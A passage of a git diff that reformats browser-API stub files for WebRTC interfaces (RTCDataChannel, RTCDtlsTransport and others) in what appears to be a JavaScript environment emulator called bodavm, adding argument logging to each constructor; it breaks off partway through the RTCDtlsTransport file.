+bodavm.memory.globalobj['RTCCertificate'] = function RTCCertificate() { + console.log_copy('RTCCertificate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCCertificate)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCCertificate'], "RTCCertificate"); +bodavm.toolsFunc.defineProperty('RTCCertificate', "expires", { + configurable: true, + enumerable: true, + get: function expires() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCCertificate'].prototype, "RTCCertificate", "expires_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCCertificate', "getFingerprints", { + configurable: true, + enumerable: true, + writable: true, + value: function getFingerprints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCCertificate'].prototype, "RTCCertificate", "getFingerprints", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCDTMFSender.js b/env_xbb_lastest_jsdom/env/RTCDTMFSender.js index 77f2dfd4..ceade991 100644 --- a/env_xbb_lastest_jsdom/env/RTCDTMFSender.js +++ b/env_xbb_lastest_jsdom/env/RTCDTMFSender.js @@ -1,9 +1,53 @@ -// RTCDTMFSender对象 -bodavm.memory.globalobj['RTCDTMFSender'] = function RTCDTMFSender(){if (!(this instanceof RTCDTMFSender)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDTMFSender'], "RTCDTMFSender"); -bodavm.memory.globalobj['RTCDTMFSender'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCDTMFSender'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCDTMFSender', "ontonechange", {configurable:true, enumerable:true, get:function ontonechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "ontonechange_get", arguments)}, set:function ontonechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "ontonechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDTMFSender', "canInsertDTMF", {configurable:true, enumerable:true, get:function canInsertDTMF (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "canInsertDTMF_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDTMFSender', "toneBuffer", {configurable:true, enumerable:true, get:function toneBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "toneBuffer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDTMFSender', "insertDTMF", {configurable:true, enumerable:true, writable:true, value:function insertDTMF (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "insertDTMF", arguments)}},'prototype'); +// RTCDTMFSender对象 + +bodavm.memory.globalobj['RTCDTMFSender'] = function RTCDTMFSender() { + console.log_copy('RTCDTMFSender 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDTMFSender)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDTMFSender'], "RTCDTMFSender"); +bodavm.memory.globalobj['RTCDTMFSender'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCDTMFSender'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCDTMFSender', "ontonechange", { + configurable: true, + enumerable: true, + get: function ontonechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "ontonechange_get", arguments); + }, + set: function ontonechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "ontonechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDTMFSender', "canInsertDTMF", { + configurable: true, + enumerable: true, + get: function canInsertDTMF() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "canInsertDTMF_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDTMFSender', "toneBuffer", { + configurable: true, + enumerable: true, + get: function toneBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "toneBuffer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDTMFSender', "insertDTMF", { + configurable: true, + enumerable: true, + writable: true, + value: function insertDTMF() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "insertDTMF", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCDTMFToneChangeEvent.js b/env_xbb_lastest_jsdom/env/RTCDTMFToneChangeEvent.js index db75a99e..1ceae41b 100644 --- a/env_xbb_lastest_jsdom/env/RTCDTMFToneChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/RTCDTMFToneChangeEvent.js @@ -1,6 +1,27 @@ -// RTCDTMFToneChangeEvent对象 -bodavm.memory.globalobj['RTCDTMFToneChangeEvent'] = function RTCDTMFToneChangeEvent(){if (!(this instanceof RTCDTMFToneChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCDTMFToneChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDTMFToneChangeEvent'], "RTCDTMFToneChangeEvent"); -bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCDTMFToneChangeEvent', "tone", {configurable:true, enumerable:true, get:function tone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].prototype, "RTCDTMFToneChangeEvent", "tone_get", arguments)}, set:undefined},'prototype'); +// RTCDTMFToneChangeEvent对象 + +bodavm.memory.globalobj['RTCDTMFToneChangeEvent'] = function RTCDTMFToneChangeEvent() { + console.log_copy('RTCDTMFToneChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDTMFToneChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCDTMFToneChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDTMFToneChangeEvent'], "RTCDTMFToneChangeEvent"); +bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCDTMFToneChangeEvent', "tone", { + configurable: true, + enumerable: true, + get: function tone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].prototype, "RTCDTMFToneChangeEvent", "tone_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCDataChannel.js b/env_xbb_lastest_jsdom/env/RTCDataChannel.js index 6c04b2f3..e522a6e1 100644 --- a/env_xbb_lastest_jsdom/env/RTCDataChannel.js +++ b/env_xbb_lastest_jsdom/env/RTCDataChannel.js @@ -1,25 +1,195 @@ -// RTCDataChannel对象 -bodavm.memory.globalobj['RTCDataChannel'] = function RTCDataChannel(){if (!(this instanceof RTCDataChannel)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDataChannel'], "RTCDataChannel"); -bodavm.memory.globalobj['RTCDataChannel'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCDataChannel'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCDataChannel', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "label_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "ordered", {configurable:true, enumerable:true, get:function ordered (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "ordered_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxPacketLifeTime", {configurable:true, enumerable:true, get:function maxPacketLifeTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxPacketLifeTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxRetransmits", {configurable:true, enumerable:true, get:function maxRetransmits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxRetransmits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "negotiated", {configurable:true, enumerable:true, get:function negotiated (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "negotiated_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmount", {configurable:true, enumerable:true, get:function bufferedAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmountLowThreshold", {configurable:true, enumerable:true, get:function bufferedAmountLowThreshold (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_get", arguments)}, set:function bufferedAmountLowThreshold (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onopen", {configurable:true, enumerable:true, get:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_get", arguments)}, set:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onbufferedamountlow", {configurable:true, enumerable:true, get:function onbufferedamountlow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_get", arguments)}, set:function onbufferedamountlow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclosing", {configurable:true, enumerable:true, get:function onclosing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_get", arguments)}, set:function onclosing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "binaryType", {configurable:true, enumerable:true, get:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_get", arguments)}, set:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "reliable", {configurable:true, enumerable:true, get:function reliable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "reliable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDataChannel', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "send", arguments)}},'prototype'); +// RTCDataChannel对象 + +bodavm.memory.globalobj['RTCDataChannel'] = function RTCDataChannel() { + console.log_copy('RTCDataChannel 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDataChannel)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDataChannel'], "RTCDataChannel"); +bodavm.memory.globalobj['RTCDataChannel'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCDataChannel'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCDataChannel', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "label_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "ordered", { + configurable: true, + enumerable: true, + get: function ordered() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "ordered_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxPacketLifeTime", { + configurable: true, + enumerable: true, + get: function maxPacketLifeTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxPacketLifeTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxRetransmits", { + configurable: true, + enumerable: true, + get: function maxRetransmits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxRetransmits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "negotiated", { + configurable: true, + enumerable: true, + get: function negotiated() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "negotiated_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmount", { + configurable: true, + enumerable: true, + get: function bufferedAmount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmountLowThreshold", { + configurable: true, + enumerable: true, + get: function bufferedAmountLowThreshold() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_get", arguments); + }, + set: function bufferedAmountLowThreshold() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onopen", { + configurable: true, + enumerable: true, + get: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_get", arguments); + }, + set: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onbufferedamountlow", { + configurable: true, + enumerable: true, + get: function onbufferedamountlow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_get", arguments); + }, + set: function onbufferedamountlow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclosing", { + configurable: true, + enumerable: true, + get: function onclosing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_get", arguments); + }, + set: function onclosing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "binaryType", { + configurable: true, + enumerable: true, + get: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_get", arguments); + }, + set: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "reliable", { + configurable: true, + enumerable: true, + get: function reliable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "reliable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "send", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCDataChannelEvent.js b/env_xbb_lastest_jsdom/env/RTCDataChannelEvent.js index 4178828b..f7c0447b 100644 --- a/env_xbb_lastest_jsdom/env/RTCDataChannelEvent.js +++ b/env_xbb_lastest_jsdom/env/RTCDataChannelEvent.js @@ -1,6 +1,27 @@ -// RTCDataChannelEvent对象 -bodavm.memory.globalobj['RTCDataChannelEvent'] = function RTCDataChannelEvent(){if (!(this instanceof RTCDataChannelEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCDataChannelEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDataChannelEvent'], "RTCDataChannelEvent"); -bodavm.memory.globalobj['RTCDataChannelEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCDataChannelEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCDataChannelEvent', "channel", {configurable:true, enumerable:true, get:function channel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannelEvent'].prototype, "RTCDataChannelEvent", "channel_get", arguments)}, set:undefined},'prototype'); +// RTCDataChannelEvent对象 + +bodavm.memory.globalobj['RTCDataChannelEvent'] = function RTCDataChannelEvent() { + console.log_copy('RTCDataChannelEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDataChannelEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCDataChannelEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDataChannelEvent'], "RTCDataChannelEvent"); +bodavm.memory.globalobj['RTCDataChannelEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCDataChannelEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCDataChannelEvent', "channel", { + configurable: true, + enumerable: true, + get: function channel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannelEvent'].prototype, "RTCDataChannelEvent", "channel_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCDtlsTransport.js b/env_xbb_lastest_jsdom/env/RTCDtlsTransport.js index 1aacddc6..74e188e5 100644 --- a/env_xbb_lastest_jsdom/env/RTCDtlsTransport.js +++ b/env_xbb_lastest_jsdom/env/RTCDtlsTransport.js @@ -1,10 +1,63 @@ -// RTCDtlsTransport对象 -bodavm.memory.globalobj['RTCDtlsTransport'] = function RTCDtlsTransport(){if (!(this instanceof RTCDtlsTransport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDtlsTransport'], "RTCDtlsTransport"); -bodavm.memory.globalobj['RTCDtlsTransport'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCDtlsTransport'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "iceTransport", {configurable:true, enumerable:true, get:function iceTransport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "iceTransport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "getRemoteCertificates", {configurable:true, enumerable:true, writable:true, value:function getRemoteCertificates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "getRemoteCertificates", arguments)}},'prototype'); +// RTCDtlsTransport对象 + +bodavm.memory.globalobj['RTCDtlsTransport'] = function RTCDtlsTransport() { + console.log_copy('RTCDtlsTransport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDtlsTransport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDtlsTransport'], "RTCDtlsTransport"); +bodavm.memory.globalobj['RTCDtlsTransport'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCDtlsTransport'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "iceTransport", { + configurable: true, + enumerable: true, + get: function iceTransport() { + return bodavm.toolsFunc.dispatch(this, 